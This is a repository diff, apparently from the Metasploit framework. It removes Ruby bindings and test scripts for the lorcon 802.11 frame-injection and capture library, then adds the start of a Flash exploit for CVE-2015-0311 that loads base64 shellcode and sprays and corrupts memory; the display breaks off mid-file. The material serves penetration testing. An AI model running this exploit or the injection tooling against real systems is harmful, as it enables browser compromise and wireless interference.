if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(mod);
}
static VALUE lorcon_device_get_capabilities(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
}
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int drivertype = INJ_NODRIVER;
char *driver, *intf;
VALUE rbdriver, rbintf;
VALUE obj;
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
driver = STR2CSTR(rbdriver);
intf = STR2CSTR(rbintf);
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
drivertype = tx80211_resolvecard(driver);
if (drivertype == INJ_NODRIVER) {
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
return(Qnil);
}
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
/* Open the interface to get a socket */
ret = tx80211_open(&rld->in_tx);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int cnt = 0;
int dly = 0;
VALUE rbbuff, rbcnt, rbdelay;
Data_Get_Struct(self, struct rldev, rld);
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
case 1:
rbdelay = INT2NUM(0);
case 2:
rbcnt = INT2NUM(1);
default:
break;
}
cnt = NUM2INT(rbcnt);
dly = NUM2INT(rbdelay);
rld->in_packet.packet = StringValuePtr(rbbuff);
rld->in_packet.plen = RSTRING(rbbuff)->len;
for (; cnt > 0; cnt--) {
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
return(INT2NUM(ret));
}
if (dly > 0)
#ifdef _MSC_VER
Sleep(dly);
#else
usleep(dly);
#endif
}
return (rbcnt);
}
void Init_Lorcon() {
mLorcon = rb_define_module("Lorcon");
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
rb_define_method(cDevice, "write", lorcon_device_write, -1);
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
}

View File

@ -1,19 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <tx80211.h>
#include <tx80211_packet.h>
struct rldev {
struct tx80211 in_tx;
struct tx80211_packet in_packet;
};
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,8 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
create_makefile("Lorcon")
else
puts "Error: the lorcon library was not found, please see the README"
end

View File

@ -1,47 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon"
require "pp"
pp Lorcon.version
pp Lorcon.drivers
# Beacon frame from tx.c
packet = [
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
0x50, 0xf2, 0x02
].pack('C*')
# Configure the card for reliable injection
tx = Lorcon::Device.new('ath0', 'madwifing')
tx.fmode = "INJECT"
tx.channel = 11
tx.txrate = 2
tx.modulation = "DSSS"
sa = Time.now.to_f
tx.write(packet, 500, 0)
ea = Time.now.to_f - sa
sb = Time.now.to_f
500.times { tx.write(packet, 1, 0) }
eb = Time.now.to_f - sb
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"

View File

@ -1,655 +0,0 @@
#include "Lorcon2.h"
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE cPacket;
VALUE Lorcon_get_version(VALUE self) {
return INT2NUM(lorcon_get_version());
}
static VALUE Lorcon_list_drivers(VALUE self) {
VALUE list;
VALUE hash;
lorcon_driver_t *drvlist, *dri;
list = rb_hash_new();
dri = drvlist = lorcon_list_drivers();
if (dri == NULL)
return Qnil;
while (dri) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
rb_hash_aset(list, rb_str_new2(dri->name),hash);
dri = dri->next;
}
lorcon_free_driver_list(drvlist);
return(list);
}
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
VALUE hash;
lorcon_driver_t *dri;
char *drivert = RSTRING_PTR(driver);
dri = lorcon_find_driver(drivert);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return(hash);
}
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
VALUE hash;
lorcon_driver_t *dri;
char *intf = RSTRING_PTR(interface);
dri = lorcon_auto_driver(intf);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return hash;
}
void Lorcon_free(struct rldev *rld) {
if (rld->context != NULL)
lorcon_free(rld->context);
}
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
char *intf = NULL, *driver = NULL;
VALUE rbdriver, rbintf, obj;
lorcon_driver_t *dri;
if (argc == 2) {
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
intf = StringValuePtr(rbintf);
driver = StringValuePtr(rbdriver);
} else {
rb_scan_args(argc, argv, "1", &rbintf);
intf = StringValuePtr(rbintf);
}
if (driver == NULL) {
if ((dri = lorcon_auto_driver(intf)) == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not detect a driver and none specified");
return (Qnil);
}
} else {
if ((dri = lorcon_find_driver(driver)) == NULL) {
rb_raise(rb_eArgError,
"LORCON could not recognize the specified driver");
return (Qnil);
}
}
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
rld->context = lorcon_create(intf, dri);
// Obsolete: XXX
// lorcon_set_timeout(rld->context, 100);
if (rld->context == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not create context");
return (Qnil);
}
lorcon_free_driver_list(dri);
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_open_inject(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_inject(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_monitor(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_monitor(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_injmon(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_injmon(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_get_error(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_error(rld->context));
}
static VALUE Lorcon_get_capiface(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_capiface(rld->context));
}
void Lorcon_packet_free(struct rlpack *rlp) {
if (rlp->packet != NULL) {
lorcon_packet_free(rlp->packet);
rlp->packet = NULL;
free(rlp);
}
}
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
rlp->bssid = NULL;
rlp->dot3 = NULL;
rlp->len = 0;
rlp->dir = 0;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_packet_get_channel(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->channel);
}
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
return channel;
}
static VALUE Lorcon_packet_get_dlt(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->dlt);
}
static VALUE Lorcon_packet_get_bssid(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->bssid_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->bssid_mac, 6);
}
static VALUE Lorcon_packet_get_source(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->source_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->source_mac, 6);
}
static VALUE Lorcon_packet_get_dest(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->dest_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->dest_mac, 6);
}
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_raw == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_header == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_data(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
}
static VALUE Lorcon_packet_getdot3(VALUE self) {
struct rlpack *rlp;
u_char *pdata;
int len;
VALUE ret;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
ret = rb_str_new((char *)pdata, len);
free(pdata);
return ret;
}
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
rlp->len = RSTRING_LEN(dot3);
return dot3;
}
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
return bssid;
}
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dir = NUM2INT(dir);
return dir;
}
static VALUE Lorcon_packet_getdir(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->dir != 0)
return INT2FIX(rlp->dir);
if (rlp->packet == NULL)
return Qnil;
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
else if (!extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_TODS);
else if (!extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
else if (extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
return Qnil;
}
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_datalength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_data);
}
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = *packet;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
struct rldev *rld;
struct rlpack *rlp;
lorcon_packet_t *pack = NULL;
int ret;
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
return Qnil;
}
Data_Get_Struct(self, struct rldev, rld);
Data_Get_Struct(packet, struct rlpack, rlp);
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
ret = lorcon_inject(rld->context, pack);
lorcon_packet_free(pack);
} else {
ret = lorcon_inject(rld->context, rlp->packet);
}
return INT2FIX(ret);
}
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
struct rldev *rld;
int ret;
Data_Get_Struct(self, struct rldev, rld);
if(TYPE(rpacket) != T_STRING) {
rb_raise(rb_eArgError, "packet data must be a string");
return Qnil;
}
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
return INT2FIX(ret);
}
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
}
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
}
static VALUE Lorcon_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_get_channel(rld->context));
}
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
job->hdr = *hdr;
}
static VALUE Lorcon_capture_next(VALUE self) {
struct rldev *rld;
int ret = 0;
struct lorcon_packet *packet;
unsigned char *raw;
pcap_t *pd;
rblorconjob_t job;
Data_Get_Struct(self, struct rldev, rld);
pd = lorcon_get_pcap(rld->context);
#ifndef RUBY_19
TRAP_BEG;
#endif
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
#ifndef RUBY_19
TRAP_END;
#endif
if (ret == 0)
return(Qnil);
if (ret < 0 || job.hdr.caplen <= 0)
return INT2FIX(ret);
raw = malloc(job.hdr.caplen);
if(! raw) return Qnil;
memcpy(raw, job.pkt, job.hdr.caplen);
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
lorcon_packet_set_freedata(packet, 1);
return new_lorcon_packet(&packet);
}
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int count = 0;
int p = 0;
VALUE v_cnt;
VALUE ret;
int fd;
Data_Get_Struct(self, struct rldev, rld);
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
count = FIX2INT(v_cnt);
} else {
count = -1;
}
fd = lorcon_get_selectable_fd(rld->context);
if(fd < 0 ) {
rb_raise(rb_eRuntimeError,
"LORCON context could not provide a pollable descriptor "
"and we need one for the threaded dispatch loop");
}
while (p < count || count <= 0) {
ret = Lorcon_capture_next(self);
if(TYPE(ret) == T_FIXNUM) return(ret);
if(ret == Qnil) {
rb_thread_wait_fd(fd);
} else {
rb_yield(ret);
p++;
}
}
return INT2FIX(p);
}
void Init_Lorcon2() {
mLorcon = rb_define_module("Lorcon");
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
rb_define_method(cDevice, "error", Lorcon_get_error, 0);
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
}

View File

@ -1,31 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <lorcon2/lorcon.h>
#include <pcap.h>
struct rldev {
struct lorcon *context;
};
struct rlpack {
struct lorcon_packet *packet;
/* dot3 construction via multiple elements */
u_char *bssid, *dot3;
int dir, len;
};
typedef struct rblorconjob {
struct pcap_pkthdr hdr;
unsigned char *pkt;
} rblorconjob_t;
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,16 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
$CFLAGS += " -I/usr/include/lorcon2"
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
$CFLAGS += " -DRUBY_19"
end
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
create_makefile("Lorcon2")
else
puts "Error: the lorcon2 library was not found, please see the README"
end

View File

@ -1,59 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon2"
require 'thread'
require "pp"
intf = ARGV.shift || "wlan0"
$stdout.puts "Checking LORCON version"
pp Lorcon.version
$stdout.puts "\nFetching LORCON driver list"
pp Lorcon.drivers
$stdout.puts "\nResolving driver by name 'mac80211'"
pp Lorcon.find_driver("mac80211")
$stdout.puts "\nAuto-detecting driver for interface wlan0"
pp Lorcon.auto_driver(intf)
tx = Lorcon::Device.new(intf)
$stdout.puts "\nCreated LORCON context"
if tx.openinjmon()
$stdout.puts "\nOpened as INJMON: " + tx.capiface
else
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
end
def safe_loop(wifi)
@q = Queue.new
reader = Thread.new do
wifi.each_packet {|pkt| @q << pkt }
end
eater = Thread.new do
while(pkt = @q.pop)
yield(pkt)
end
end
begin
eater.join
rescue ::Interrupt => e
reader.kill if reader.alive?
puts "ALL DONE!"
end
end
safe_loop(tx) do |pkt|
pp pkt
end

View File

@ -1,11 +0,0 @@
Path: .
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
Repository Root: http://802.11ninja.net/svn/lorcon
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
Revision: 204
Node Kind: directory
Schedule: normal
Last Changed Author: dragorn
Last Changed Rev: 202
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)

243
external/source/exploits/CVE-2015-0311/Main.as vendored Executable file
View File

@ -0,0 +1,243 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
